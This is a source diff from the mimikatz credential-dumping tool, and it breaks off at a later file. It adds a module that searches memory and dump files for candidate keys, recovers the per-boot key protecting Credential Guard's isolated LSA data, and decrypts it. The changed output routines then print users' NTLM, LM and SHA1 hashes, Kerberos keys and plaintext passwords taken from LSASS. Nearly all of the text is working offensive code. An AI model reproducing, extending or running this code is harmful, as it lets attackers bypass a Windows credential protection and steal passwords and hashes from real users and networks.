diff --git a/lib/Win32/bcrypt.lib b/lib/Win32/bcrypt.lib index 1895f566..90f38386 100644 Binary files a/lib/Win32/bcrypt.lib and b/lib/Win32/bcrypt.lib differ diff --git a/lib/x64/bcrypt.lib b/lib/x64/bcrypt.lib index d01d08dc..d55507fd 100644 Binary files a/lib/x64/bcrypt.lib and b/lib/x64/bcrypt.lib differ diff --git a/mimikatz/mimikatz.vcxproj b/mimikatz/mimikatz.vcxproj index cc9b5cfb..3574d8bc 100644 --- a/mimikatz/mimikatz.vcxproj +++ b/mimikatz/mimikatz.vcxproj @@ -119,6 +119,7 @@ + @@ -154,7 +155,7 @@ SQLITE_UNTESTABLE;SQLITE_DISABLE_INTRINSIC;SQLITE_OMIT_LOCALTIME;SQLITE_DQS=0;SQLITE_THREADSAFE=0;SQLITE_DEFAULT_MEMSTATUS=0;SQLITE_DEFAULT_WAL_SYNCHRONOUS=1;SQLITE_LIKE_DOESNT_MATCH_BLOBS;SQLITE_MAX_EXPR_DEPTH=0;SQLITE_OMIT_DECLTYPE;SQLITE_OMIT_DEPRECATED;SQLITE_OMIT_PROGRESS_CALLBACK;SQLITE_OMIT_SHARED_CACHE;SQLITE_USE_ALLOCA;SQLITE_OMIT_OR_OPTIMIZATION;SQLITE_OMIT_LIKE_OPTIMIZATION;SQLITE_OMIT_BETWEEN_OPTIMIZATION;SQLITE_OMIT_TRUNCATE_OPTIMIZATION;SQLITE_OMIT_TCL_VARIABLE;%(PreprocessorDefinitions) - false + false Level2 @@ -205,6 +206,7 @@ + @@ -222,6 +224,7 @@ + @@ -310,6 +313,7 @@ + diff --git a/mimikatz/mimikatz.vcxproj.filters b/mimikatz/mimikatz.vcxproj.filters index 1b3cbce9..54e3999d 100644 --- a/mimikatz/mimikatz.vcxproj.filters +++ b/mimikatz/mimikatz.vcxproj.filters @@ -290,6 +290,12 @@ common modules + + common modules + + + local modules\sekurlsa + @@ -599,6 +605,12 @@ common modules + + common modules + + + local modules\sekurlsa + diff --git a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c index 2c63cb11..f8f8b9d9 100644 --- a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c +++ b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c @@ -42,7 +42,7 @@ NTSTATUS kuhl_m_dpapi_cred(int argc, wchar_t * argv[]) kull_m_cred_descr(0, cred); if(kull_m_string_args_byName(argc, argv, L"lsaiso", NULL, NULL)) { - kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) cred->CredentialBlob); + kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) cred->CredentialBlob, NULL, NULL); kprintf(L"\n"); } else kuhl_m_dpapi_cred_tryEncrypted(cred->TargetName, cred->CredentialBlob, cred->CredentialBlobSize, argc, argv); diff --git a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c index 7bba4759..c1a157eb 100644 --- a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c +++ b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c @@ -122,7 +122,7 @@ NTSTATUS kuhl_m_dpapi_keys_cng(int argc, wchar_t * argv[]) { if(isIso) { - kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) ((PBYTE) out + sizeof(DWORD))); + kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) ((PBYTE) out + sizeof(DWORD)), NULL, NULL); kprintf(L"\n"); } else diff --git a/mimikatz/modules/kuhl_m_crypto.c b/mimikatz/modules/kuhl_m_crypto.c index f2912fdd..90cf063b 100644 --- a/mimikatz/modules/kuhl_m_crypto.c +++ b/mimikatz/modules/kuhl_m_crypto.c @@ -879,7 +879,7 @@ BOOL kuhl_m_crypto_system_data(PBYTE data, DWORD len, PCWCHAR originalName, BOOL kuhl_m_crypto_file_rawData(prop, originalName, isExport); break; case 118: // CERT_ISOLATED_KEY_PROP_ID - kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) prop->data); + kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) prop->data, NULL, NULL); kprintf(L"\n"); break; case CERT_SHA1_HASH_PROP_ID: diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c index ad1bfdda..b37bbd8f 100644 --- a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c +++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c @@ -18,7 +18,6 @@ const KUHL_M_C kuhl_m_c_sekurlsa[] = { {kuhl_m_sekurlsa_process, L"process", L"Switch (or reinit) to LSASS process context"}, {kuhl_m_sekurlsa_minidump, L"minidump", L"Switch (or reinit) to LSASS minidump context"}, - {kuhl_m_sekurlsa_pth, L"pth", L"Pass-the-hash"}, #if !defined(_M_ARM64) {kuhl_m_sekurlsa_krbtgt, L"krbtgt", L"krbtgt!"}, @@ -127,6 +126,7 @@ NTSTATUS kuhl_m_sekurlsa_minidump(int argc, wchar_t * argv[]) } return STATUS_SUCCESS; } + NTSTATUS kuhl_m_sekurlsa_init() { lsassLocalHelper = NULL; @@ -141,6 +141,7 @@ NTSTATUS kuhl_m_sekurlsa_clean() status = lsassLocalHelper->cleanLocalLib(); lsassLocalHelper = NULL; } + kuhl_m_sekurlsa_sk_candidatekeys_delete(); return status; } @@ -182,7 +183,7 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA() { if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP) { - if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream)) + if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream, NULL)) { cLsass.osContext.MajorVersion = pInfos->MajorVersion; cLsass.osContext.MinorVersion = pInfos->MinorVersion; @@ -1049,8 +1050,11 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred PWSTR sid = NULL; PBYTE msvCredentials; const MSV1_0_PRIMARY_HELPER * pMSVHelper; +#if defined(_M_X64) || defined(_M_ARM64) + DWORD cbLsaIsoOutput; + PBYTE lsaIsoOutput; PLSAISO_DATA_BLOB blob = NULL; - +#endif if(mesCreds) { ConvertSidToStringSid(pData->pSid, &sid); @@ -1086,29 +1090,54 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred kprintf(L"\n\t * SHA1 : "); kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToShaOwPassword, SHA_DIGEST_LENGTH, 0); } - if(pMSVHelper->offsetToisDPAPIProtected && *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisDPAPIProtected)) - { - kprintf(L"\n\t * DPAPI : "); - kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToDPAPIProtected, LM_NTLM_HASH_LENGTH, 0); // 020000000000 - } if(sid && (*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) || *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword))) kuhl_m_dpapi_oe_credential_add(sid, NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) ? msvCredentials + pMSVHelper->offsetToNtOwfPassword : NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword) ? msvCredentials + pMSVHelper->offsetToShaOwPassword : NULL, NULL, NULL); } + #if defined(_M_X64) || defined(_M_ARM64) else { i = *(PUSHORT) (msvCredentials + pMSVHelper->offsetToIso); - if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1607) - { - //kprintf(L"\n\t * unkSHA1: "); - //kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT), SHA_DIGEST_LENGTH, 0); - msvCredentials += LM_NTLM_HASH_LENGTH + sizeof(DWORD); - } - if((i == (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("NtlmHash") - 1) + 2*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH)) || i == (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("NtlmHash") - 1) + 3*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH)) - kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT))); - else - kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT)), i); + { + if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso), &lsaIsoOutput, &cbLsaIsoOutput)) + { + if(cbLsaIsoOutput == (2*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH)) + { + if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword)) + { + kprintf(L"\n\t * NTLM : "); + kull_m_string_wprintf_hex(lsaIsoOutput, LM_NTLM_HASH_LENGTH, 0); + } + if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisLmOwfPassword)) + { + kprintf(L"\n\t * LM : "); + kull_m_string_wprintf_hex(lsaIsoOutput + LM_NTLM_HASH_LENGTH, LM_NTLM_HASH_LENGTH, 0); + } + if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword)) + { + kprintf(L"\n\t * SHA1 : "); + kull_m_string_wprintf_hex(lsaIsoOutput + 2*LM_NTLM_HASH_LENGTH, SHA_DIGEST_LENGTH, 0); + } + if(sid && (*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) || *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword))) + kuhl_m_dpapi_oe_credential_add(sid, NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) ? lsaIsoOutput : NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword) ? lsaIsoOutput + 2*LM_NTLM_HASH_LENGTH : NULL, NULL, NULL); + } + else + { + PRINT_ERROR(L"Size error for NtlmHash LsaIso output (%u)\n", cbLsaIsoOutput); + kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 1 | (16 << 16)); + kprintf(L"\n"); + } + LocalFree(lsaIsoOutput); + } + } + else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT)), i); + } + #endif + if(pMSVHelper->offsetToisDPAPIProtected && *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisDPAPIProtected)) + { + kprintf(L"\n\t * DPAPI : "); + kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToDPAPIProtected, LM_NTLM_HASH_LENGTH, 0); // 020000000000 } break; case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY: @@ -1161,14 +1190,22 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred buffer.Buffer = (PWSTR) pHashPassword->Checksump; if(kull_m_process_getUnicodeString(&buffer, cLsass.hLsassMem)) { + #if defined(_M_X64) || defined(_M_ARM64) if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_KERBEROS_10) && (pHashPassword->Size > (ULONG) FIELD_OFFSET(LSAISO_DATA_BLOB, data))) { if(pHashPassword->Size <= (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("KerberosKey") - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key - kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) buffer.Buffer); - else - kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) buffer.Buffer, (DWORD) pHashPassword->Size); + { + if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) buffer.Buffer, &lsaIsoOutput, &cbLsaIsoOutput)) + { + kprintf(L"\n\t * Key : "); + kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 0); + LocalFree(lsaIsoOutput); + } + } + else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) buffer.Buffer, (DWORD) pHashPassword->Size); } else + #endif { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) (*lsassLocalHelper->pLsaUnprotectMemory)(buffer.Buffer, buffer.MaximumLength); @@ -1188,6 +1225,7 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred { switch(((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) mesCreds)->type) { + #if defined(_M_X64) || defined(_M_ARM64) case 1: mesCreds->Password.Length = mesCreds->Password.MaximumLength = 0; mesCreds->Password.Buffer = NULL; @@ -1196,6 +1234,8 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred if(kull_m_process_getUnicodeString(&buffer, cLsass.hLsassMem)) blob = (PLSAISO_DATA_BLOB) buffer.Buffer; //break; + //TODO: to check another day :) + #endif case 0: // no creds mesCreds->Password.Length = mesCreds->Password.MaximumLength = 0; @@ -1242,23 +1282,37 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred L"\n\t * Password : " , username, domain); - if(!password || kull_m_string_suspectUnicodeString(password)) - { - if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDMANPASS) && password) - kprintf(L"%.*s", password->Length / sizeof(wchar_t), password->Buffer); - else - kprintf(L"%wZ", password); - } - else kull_m_string_wprintf_hex(password->Buffer, password->Length, 1); + if(password) + { + if(kull_m_string_suspectUnicodeString(password)) + { + if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDMANPASS)) + kprintf(L"%.*s", password->Length / sizeof(wchar_t), password->Buffer); + else kprintf(L"%wZ", password); + } + else kull_m_string_wprintf_hex(password->Buffer, password->Length, 1); + } + #if defined(_M_X64) || defined(_M_ARM64) + else if(blob) + { + if(kuhl_m_sekurlsa_genericLsaIsoOutput(blob, &lsaIsoOutput, &cbLsaIsoOutput)) + { + kprintf(L"\n\t * Password: "); + buffer.Length = buffer.MaximumLength = (USHORT) cbLsaIsoOutput; + buffer.Buffer = (PWSTR) lsaIsoOutput; + if((cbLsaIsoOutput < USHRT_MAX) && kull_m_string_suspectUnicodeString(&buffer)) + kprintf(L"%wZ", &buffer); + else kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 1); + LocalFree(lsaIsoOutput); + } + LocalFree(blob); + } + #endif + else kprintf(L"(null)"); - if(username) - kuhl_m_sekurlsa_trymarshal(username); + if(username) + kuhl_m_sekurlsa_trymarshal(username); - if(blob) - { - kuhl_m_sekurlsa_genericLsaIsoOutput(blob); - LocalFree(blob); - } } if(username) @@ -1356,14 +1410,17 @@ VOID kuhl_m_sekurlsa_genericKeyOutput(PKIWI_CREDENTIAL_KEY key, LPCWSTR sid) } } -VOID kuhl_m_sekurlsa_genericLsaIsoOutput(PLSAISO_DATA_BLOB blob) +BOOL kuhl_m_sekurlsa_genericLsaIsoOutput(PLSAISO_DATA_BLOB blob, LPBYTE *output, DWORD *cbOutput) { + BOOL status = TRUE; kprintf(L"\n\t * LSA Isolated Data: %.*S", blob->typeSize, blob->data); - kprintf(L"\n\t Unk-Key : "); kull_m_string_wprintf_hex(blob->unkKeyData, sizeof(blob->unkKeyData), 0); - kprintf(L"\n\t Encrypted: "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->origSize, 0); - kprintf(L"\n\t\t SS:%u, TS:%u, DS:%u", blob->structSize, blob->typeSize, blob->origSize); - kprintf(L"\n\t\t 0:0x%x, 1:0x%x, 2:0x%x, 3:0x%x, 4:0x%x, E:", blob->unk0, blob->unk1, blob->unk2, blob->unk3, blob->unk4); - kull_m_string_wprintf_hex(blob->unkData2, sizeof(blob->unkData2), 0); kprintf(L", 5:0x%x", blob->unk5); + kprintf(L"\n\t KdfContext: "); kull_m_string_wprintf_hex(blob->KdfContext, sizeof(blob->KdfContext), 0); + kprintf(L"\n\t Tag : "); kull_m_string_wprintf_hex(blob->Tag, sizeof(blob->Tag), 0); + kprintf(L"\n\t AuthData : "); kull_m_string_wprintf_hex(&blob->unk5, FIELD_OFFSET(LSAISO_DATA_BLOB, data) - FIELD_OFFSET(LSAISO_DATA_BLOB, unk5) + blob->typeSize, 0); + kprintf(L"\n\t Encrypted : "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->szEncrypted, 0); + if(blob->szEncrypted && output && cbOutput) + status = kuhl_m_sekurlsa_sk_tryDecode(blob, output, cbOutput); + return status; } VOID kuhl_m_sekurlsa_genericEncLsaIsoOutput(PENC_LSAISO_DATA_BLOB blob, DWORD size) diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h index ed175b5c..849893c5 100644 --- a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h +++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h @@ -66,7 +66,7 @@ VOID kuhl_m_sekurlsa_pth_luid(PSEKURLSA_PTH_DATA data); VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, ULONG flags); VOID kuhl_m_sekurlsa_trymarshal(PCUNICODE_STRING MarshaledCredential); VOID kuhl_m_sekurlsa_genericKeyOutput(struct _KIWI_CREDENTIAL_KEY * key, LPCWSTR sid); -VOID kuhl_m_sekurlsa_genericLsaIsoOutput(struct _LSAISO_DATA_BLOB * blob); +BOOL kuhl_m_sekurlsa_genericLsaIsoOutput(struct _LSAISO_DATA_BLOB * blob, LPBYTE *output, DWORD *cbOutput); VOID kuhl_m_sekurlsa_genericEncLsaIsoOutput(struct _ENC_LSAISO_DATA_BLOB * blob, DWORD size); void kuhl_m_sekurlsa_bkey(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib, PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, BOOL isExport); #if !defined(_M_ARM64) @@ -208,11 +208,15 @@ typedef struct _LSAISO_DATA_BLOB { DWORD unk2; DWORD unk3; DWORD unk4; - BYTE unkKeyData[3*16]; - BYTE unkData2[16]; - DWORD unk5; - DWORD origSize; - BYTE data[ANYSIZE_ARRAY]; + BYTE KdfContext[32]; + BYTE Tag[16]; + DWORD unk5; // AuthData start + DWORD unk6; + DWORD unk7; + DWORD unk8; + DWORD unk9; + DWORD szEncrypted; // AuthData ends + type + BYTE data[ANYSIZE_ARRAY]; // Type then Encrypted } LSAISO_DATA_BLOB, *PLSAISO_DATA_BLOB; typedef struct _ENC_LSAISO_DATA_BLOB { @@ -221,4 +225,5 @@ typedef struct _ENC_LSAISO_DATA_BLOB { BYTE data[ANYSIZE_ARRAY]; } ENC_LSAISO_DATA_BLOB, *PENC_LSAISO_DATA_BLOB; -#include "../dpapi/kuhl_m_dpapi_oe.h" \ No newline at end of file +#include "../dpapi/kuhl_m_dpapi_oe.h" +#include "kuhl_m_sekurlsa_sk.h" \ No newline at end of file diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.c b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.c new file mode 100644 index 00000000..6479c0f9 --- /dev/null +++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.c @@ -0,0 +1,208 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#include "kuhl_m_sekurlsa_sk.h" + +LIST_ENTRY gCandidateKeys = {&gCandidateKeys, &gCandidateKeys}; +BYTE gIumMkPerBoot[32]; +BOOL isgIumMkPerBoot = FALSE; + +BOOL kuhl_m_sekurlsa_sk_candidatekey_add(BYTE key[32], DOUBLE entropy) +{ + BOOL status = FALSE; + PKEYLIST_ENTRY entry; + if(key) + { + if(entry = (PKEYLIST_ENTRY) LocalAlloc(LPTR, sizeof(KEYLIST_ENTRY))) + { + RtlCopyMemory(entry->key, key, 32); + entry->entropy = entropy; + entry->navigator.Blink = gCandidateKeys.Blink; + entry->navigator.Flink = &gCandidateKeys; + ((PKEYLIST_ENTRY) gCandidateKeys.Blink)->navigator.Flink = (PLIST_ENTRY) entry; + gCandidateKeys.Blink = (PLIST_ENTRY) entry; + status = TRUE; + } + } + else PRINT_ERROR(L"No key?"); + return status; +} + +void kuhl_m_sekurlsa_sk_candidatekey_delete(PKEYLIST_ENTRY entry) +{ + if(entry) + { + ((PKEYLIST_ENTRY) entry->navigator.Blink)->navigator.Flink = entry->navigator.Flink; + ((PKEYLIST_ENTRY) entry->navigator.Flink)->navigator.Blink = entry->navigator.Blink; + LocalFree(entry); + } +} + +void kuhl_m_sekurlsa_sk_candidatekey_descr(PKEYLIST_ENTRY entry) +{ + if(entry) + { + kprintf(L" "); + kull_m_string_wprintf_hex(entry->key, 32, 0); + kprintf(L" (%f)\n", entry->entropy); + } +} + +void kuhl_m_sekurlsa_sk_candidatekeys_delete() +{ + PKEYLIST_ENTRY tmp, entry; + for(entry = (PKEYLIST_ENTRY) gCandidateKeys.Flink; entry != (PKEYLIST_ENTRY) &gCandidateKeys; entry = tmp) + { + tmp = (PKEYLIST_ENTRY) entry->navigator.Flink; + kuhl_m_sekurlsa_sk_candidatekey_delete(entry); + } +} + +void kuhl_m_sekurlsa_sk_candidatekeys_descr() +{ + PKEYLIST_ENTRY entry; + for(entry = (PKEYLIST_ENTRY) gCandidateKeys.Flink; entry != (PKEYLIST_ENTRY) &gCandidateKeys; entry = (PKEYLIST_ENTRY) entry->navigator.Flink) + kuhl_m_sekurlsa_sk_candidatekey_descr(entry); +} + +extern double __cdecl log(__in double _X); +DOUBLE normalizedEntropy(LPCBYTE data, DWORD len) +{ + DOUBLE ret = 0.0, p; + DWORD i, hist[256] = {0}; + for (i = 0; i < len; i++) + hist[data[i]]++; + for(i = 0; i < ARRAYSIZE(hist); i++) + { + if(hist[i]) + { + p = (DOUBLE) hist[i] / (DOUBLE) len; + ret += p * log(p); + } + } + return (ret == 0.0) ? 0.0 : (-ret / log(256.)); +} + +DWORD kuhl_m_sekurlsa_sk_search(PBYTE data, DWORD size, BOOL light) +{ + PBYTE ptr; + DOUBLE e; + DWORD c = 0; + + for(ptr = data; size > 0x40; ptr += 0x10, size -= 0x10) + { + if( (!*(PULONGLONG) ptr + 0x00) && + (*(PULONGLONG) (ptr + 0x08) & 0x00ffffffffffffff) && + (*(PUSHORT) (ptr + 0x0e) == 0x1000) && + (!*(PULONGLONG) ptr + 0x30) && + (*(PULONGLONG) (ptr + 0x38) & 0x00ffffffffffffff) && + ((*(PUSHORT) (ptr + 0x0e) == 0x1000) || (*(PUSHORT) (ptr + 0x0e) == 0x0800)) && + (light || ((ptr[0x09] == ptr[0x0d]) && (ptr[0x09] == ptr[0x39]) && (ptr[0x09] == ptr[0x3d]))) ) + { + e = normalizedEntropy(ptr + 0x10, 0x20); + if(e > 0.59) + { + kuhl_m_sekurlsa_sk_candidatekey_add(ptr + 0x10, e); + c++; + } + } + } + return c; +} + +#define KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME (256 * 1024 * 1024) +DWORD kuhl_m_sekurlsa_sk_search_file(LPCWSTR filename) +{ + DWORD c = 0, dwBytesReaded; + LARGE_INTEGER i, fileSize, toRead; + HANDLE hFile; + PBYTE buffer; + if((hFile = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE , NULL, OPEN_EXISTING, 0, NULL)) && hFile != INVALID_HANDLE_VALUE) + { + if(GetFileSizeEx(hFile, &fileSize)) + { + if(buffer = (PBYTE) LocalAlloc(LPTR, KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME)) + { + for(i.QuadPart = 0; i.QuadPart < fileSize.QuadPart; i.QuadPart += KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME) + { + toRead.QuadPart = ((i.QuadPart + KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME) < fileSize.QuadPart) ? KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME : (fileSize.QuadPart - i.QuadPart); + if(SetFilePointerEx(hFile, i, NULL, FILE_BEGIN)) + { + if(ReadFile(hFile, buffer, toRead.LowPart, &dwBytesReaded, NULL)) + c += kuhl_m_sekurlsa_sk_search(buffer, dwBytesReaded, TRUE); + else PRINT_ERROR_AUTO(L"ReadFile"); + } + else PRINT_ERROR_AUTO(L"SetFilePointerEx"); + } + LocalFree(buffer); + } + } + else PRINT_ERROR_AUTO(L"GetFileSizeEx"); + CloseHandle(hFile); + } + else PRINT_ERROR_AUTO(L"CreateFile"); + return c; +} + +NTSTATUS kuhl_m_sekurlsa_sk_tryDecodeKey(LPBYTE Key, DWORD cbKey, PLSAISO_DATA_BLOB blob, PBYTE output) +{ + return SkpEncryptionWorker(Key, cbKey, blob->data + blob->typeSize, blob->szEncrypted, (UCHAR *) &blob->unk5, FIELD_OFFSET(LSAISO_DATA_BLOB, data) - FIELD_OFFSET(LSAISO_DATA_BLOB, unk5) + blob->typeSize, blob->KdfContext, sizeof(blob->KdfContext), blob->Tag, sizeof(blob->Tag), output, blob->szEncrypted, FALSE); +} + +BOOL kuhl_m_sekurlsa_sk_tryDecode(PLSAISO_DATA_BLOB blob, PBYTE *output, DWORD *cbOutput) +{ + NTSTATUS ntStatus; + PKEYLIST_ENTRY entry; + if(!isgIumMkPerBoot) + { + if(gCandidateKeys.Flink != &gCandidateKeys) + { + if(*output = (PBYTE) LocalAlloc(LPTR, blob->szEncrypted)) + { + *cbOutput = blob->szEncrypted; + for(entry = (PKEYLIST_ENTRY) gCandidateKeys.Flink; entry != (PKEYLIST_ENTRY) &gCandidateKeys; entry = (PKEYLIST_ENTRY) entry->navigator.Flink) + { + ntStatus = kuhl_m_sekurlsa_sk_tryDecodeKey(entry->key, sizeof(entry->key), blob, *output); + if(NT_SUCCESS(ntStatus)) + { + RtlCopyMemory(gIumMkPerBoot, entry->key, min(sizeof(gIumMkPerBoot), sizeof(entry->key))); + isgIumMkPerBoot = TRUE; + kuhl_m_sekurlsa_sk_candidatekeys_delete(); + break; + } + } + + if(!isgIumMkPerBoot) + { + *output = (PBYTE) LocalFree(*output); + *cbOutput = 0; + } + else + { + kprintf(L"\n[Found IumMkPerBoot: "); + kull_m_string_wprintf_hex(gIumMkPerBoot, 32, 0); + kprintf(L"]"); + } + } + } + } + else if(isgIumMkPerBoot) + { + if(*output = (PBYTE) LocalAlloc(LPTR, blob->szEncrypted)) + { + *cbOutput = blob->szEncrypted; + ntStatus = kuhl_m_sekurlsa_sk_tryDecodeKey(gIumMkPerBoot, sizeof(gIumMkPerBoot), blob, *output); + if(!NT_SUCCESS(ntStatus)) + { + kprintf(L"\n"); + PRINT_ERROR(L"SkpEncryptionWorker(decrypt): 0x%08x -- invalidating the key\n", ntStatus); + isgIumMkPerBoot = FALSE; + *output = (PBYTE) LocalFree(*output); + *cbOutput = 0; + } + } + } + return isgIumMkPerBoot; +} \ No newline at end of file diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.h b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.h new file mode 100644 index 00000000..65f5799c --- /dev/null +++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.h @@ -0,0 +1,26 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#pragma once +#include "globals_sekurlsa.h" +#include "../modules/kull_m_crypto_sk.h" +#include "kuhl_m_sekurlsa.h" + +typedef struct _KEYLIST_ENTRY { + LIST_ENTRY navigator; + BYTE key[32]; + DOUBLE entropy; +} KEYLIST_ENTRY, *PKEYLIST_ENTRY; + +BOOL kuhl_m_sekurlsa_sk_candidatekey_add(BYTE key[32], DOUBLE entropy); +void kuhl_m_sekurlsa_sk_candidatekey_delete(PKEYLIST_ENTRY entry); +void kuhl_m_sekurlsa_sk_candidatekey_descr(PKEYLIST_ENTRY entry); +void kuhl_m_sekurlsa_sk_candidatekeys_delete(); +void kuhl_m_sekurlsa_sk_candidatekeys_descr(); + +DWORD kuhl_m_sekurlsa_sk_search(PBYTE data, DWORD size, BOOL light); +DWORD kuhl_m_sekurlsa_sk_search_file(LPCWSTR filename); + +BOOL kuhl_m_sekurlsa_sk_tryDecode(PLSAISO_DATA_BLOB blob, PBYTE *output, DWORD *cbOutput); \ No newline at end of file diff --git a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c index a35ab73b..7f3f74c7 100644 --- 